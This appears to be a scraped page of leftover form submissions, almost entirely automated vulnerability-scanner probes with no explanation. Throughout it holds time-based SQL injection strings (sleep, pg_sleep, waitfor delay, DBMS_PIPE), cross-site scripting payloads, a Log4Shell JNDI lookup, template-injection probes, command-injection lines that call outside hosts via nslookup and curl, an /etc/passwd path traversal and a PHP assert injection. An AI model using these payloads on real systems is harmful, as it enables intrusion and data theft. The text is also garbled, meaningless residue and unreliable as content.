cropped-favicon.png

1

1mTXF54t

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

1 waitfor delay ‘0:0:15’ —

-1)) OR 102=(SELECT 102 FROM PG_SLEEP(15))–

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

1

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

vAidXu6V’) OR 408=(SELECT 408 FROM PG_SLEEP(15))–

555

1

1

1

1BcAxI6lS4O

${j${::-n}di:dns${::-:}${::-/}${::-/}hitgogtgrpocb2a214${::-.}bxss.me}zzzz${url:UTF-8:http://hitrvkkjcjtrp.bxss.me/}

1*207*202*0

-1 OR 3+218-218-1=0+0+0+1

1

10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z

1ISG6K4HG’; waitfor delay ‘0:0:15’ —

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

555

1

1

555

bxss.me/t/xss.html?%00

1}}”}}’}}1%>”%>’%>

“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)

555aD0Q(9715)

555ctbkaddF

555+40-35-5

-1 OR 2+324-324-1=0+0+0+1

-1 OR 3*2>(0+5+324-324)

555*if(now()=sysdate(),sleep(15),0)

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

1′”()&%S85F(9003)

555-1)) OR 845=(SELECT 845 FROM PG_SLEEP(15))–

555WnompNll’) OR 72=(SELECT 72 FROM PG_SLEEP(15))–

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

‘”()&%Ms9o(9298)

bfg8151%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8151

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

1Ms9o(9537)

1Ms9o(9416)

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4D%73%39%6F%28%39%35%37%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1″ onerror=alert(9261)>

1\u003CScRiPt\Ms9o(9078)\u003C/sCripT\u003E

1MCLXL[!+!]

1<aAuFUHO<

‘”()&%Nbgv(9591)

bfg8859%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8859

1Nbgv(9326)

1Nbgv(9108)

1Nbgv(9494)

1″ onerror=alert(9673)>

1<ScRiPt>Nbgv(9139)</sCripT>

1}body{zzz:Expre/**/SSion(Nbgv(9716))}

1CIIBV[!+!]

1<aBilomz<

19684675

18FCH(9402)

18FCH(9186)9186

18FCH(9321)

1\u003CScRiPt\8FCH(9225)\u003C/sCripT\u003E

101Ayo
8FCH(9531)

1<img sRc='http://attacker-9494/log.php?

1′”()&%P6Bt(9854)

19457000

1P6Bt(9577)

1P6Bt(9004)

1P6Bt(9131)

1″ onerror=alert(9925)>

1<ScRiPt>P6Bt(9357)</sCripT>

1}body{zzz:Expre/**/SSion(P6Bt(9978))}

1DEGOI[!+!]

1′”()&%8GU1(9698)

19534084

bfgx10387%C0%BEz1%C0%BCz2a%90bcxhjl10387

18GU1(9657)

18GU1(9317)

1″ onerror=alert(9378)>

1<img sRc='http://attacker-9078/log.php?

‘”()&%SSIH(9693)

bfg4350%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4350

1SSIH(9178)

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%53%53%49%48%28%39%32%38%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1″ onerror=alert(9341)>

1<ScRiPt>SSIH(9727)</sCripT>

1MZW5F[!+!]

1<aGBAZux<

19318408

1Gzfb(9326)

1Gzfb(9501)9501

1Gzfb(9080)

1\u003CScRiPt\Gzfb(9308)\u003C/sCripT\u003E

1BKDUR[!+!]

1

1|echo vbgjji$()\ bdiqxx\nz^xyu||a #’ |echo vbgjji$()\ bdiqxx\nz^xyu||a #|” |echo vbgjji$()\ bdiqxx\nz^xyu||a #

1

bxss.me/t/xss.html?%00

555|echo cqrmvr$()\ gfhybe\nz^xyu||a #’ |echo cqrmvr$()\ gfhybe\nz^xyu||a #|” |echo cqrmvr$()\ gfhybe\nz^xyu||a #

555

555sWyxAIJq

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

555-1 OR 638=(SELECT 638 FROM PG_SLEEP(15))–

555fKCTaZLz’)) OR 792=(SELECT 792 FROM PG_SLEEP(15))–

1

555

555

$(nslookup -q=cname hitrbsskpwkmt63869.bxss.me||curl hitrbsskpwkmt63869.bxss.me)

1

1

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

1

1

1

1-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))–

555

555′>”>

1

555

1

555

555*1

555+858-853-5

555*if(now()=sysdate(),sleep(15),0)

1

555-1 OR 137=(SELECT 137 FROM PG_SLEEP(15))–

555-1) OR 194=(SELECT 194 FROM PG_SLEEP(15))–

5550z8mfK8H’ OR 634=(SELECT 634 FROM PG_SLEEP(15))–

555Chi7QRua’)) OR 363=(SELECT 363 FROM PG_SLEEP(15))–

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

cw02kJ2b

555

555

555

1*555

if(now()=sysdate(),sleep(15),0)

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

-1; waitfor delay ‘0:0:15’ —

-1)) OR 111=(SELECT 111 FROM PG_SLEEP(15))–

1′”

555

`(nslookup -q=cname hitcnommnrfde2218d.bxss.me||curl hitcnommnrfde2218d.bxss.me)`

1

1-1 waitfor delay ‘0:0:15’ —

1-1)) OR 607=(SELECT 607 FROM PG_SLEEP(15))–

1′”

555

&(nslookup -q=cname hitymdiypvyak12cd6.bxss.me||curl hitymdiypvyak12cd6.bxss.me)&’\”`0&(nslookup -q=cname hitymdiypvyak12cd6.bxss.me||curl hitymdiypvyak12cd6.bxss.me)&`’

555

555*1

1

555-1); waitfor delay ‘0:0:15’ —

555-1 OR 753=(SELECT 753 FROM PG_SLEEP(15))–

555-1)) OR 617=(SELECT 617 FROM PG_SLEEP(15))–

1

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555%2527%2522\’\”

1′”()&%8QvN(9310)

1wfFO1sWU

1*1

555

555

1<img sRc='http://attacker-9902/log.php?

555

555

555

555*291*286*0

555+583-578-5

5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

555-1 waitfor delay ‘0:0:15’ —

555-1 OR 126=(SELECT 126 FROM PG_SLEEP(15))–

555-1)) OR 590=(SELECT 590 FROM PG_SLEEP(15))–

555p1jskYSr’) OR 118=(SELECT 118 FROM PG_SLEEP(15))–

1

1

1

1

1

555

(nslookup -q=cname hitsoterrqleo00479.bxss.me||curl hitsoterrqleo00479.bxss.me))

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

555

<!–

1mpHreLhLO

1oKgR9jR2

555

555

555

&echo cptljt$()\ amakyc\nz^xyu||a #’ &echo cptljt$()\ amakyc\nz^xyu||a #|” &echo cptljt$()\ amakyc\nz^xyu||a #

../555

1-1); waitfor delay ‘0:0:15’ —

555

555

555

1IQt3nvGf’) OR 421=(SELECT 421 FROM PG_SLEEP(15))–

555-1; waitfor delay ‘0:0:15’ —

555-1 OR 669=(SELECT 669 FROM PG_SLEEP(15))–

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

555

555

555

../../../../../../../../../../../../../../etc/passwd

&(nslookup -q=cname hitbngucxdbwcc1698.bxss.me||curl hitbngucxdbwcc1698.bxss.me)&’\”`0&(nslookup -q=cname hitbngucxdbwcc1698.bxss.me||curl hitbngucxdbwcc1698.bxss.me)&`’

555

1

1

1

1

;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

1

1

555

1

555

555′”()&%JPzh(9284)

555

1

1

1

1

1

1

1

1

1

555

555

555

555

555

555

555

555*1

5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

555-1); waitfor delay ‘0:0:15’ —

555wa45SZfQ’; waitfor delay ‘0:0:15’ —

555-1) OR 201=(SELECT 201 FROM PG_SLEEP(15))–

555ldEBpTbC’ OR 702=(SELECT 702 FROM PG_SLEEP(15))–

55531n4quat’)) OR 934=(SELECT 934 FROM PG_SLEEP(15))–

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’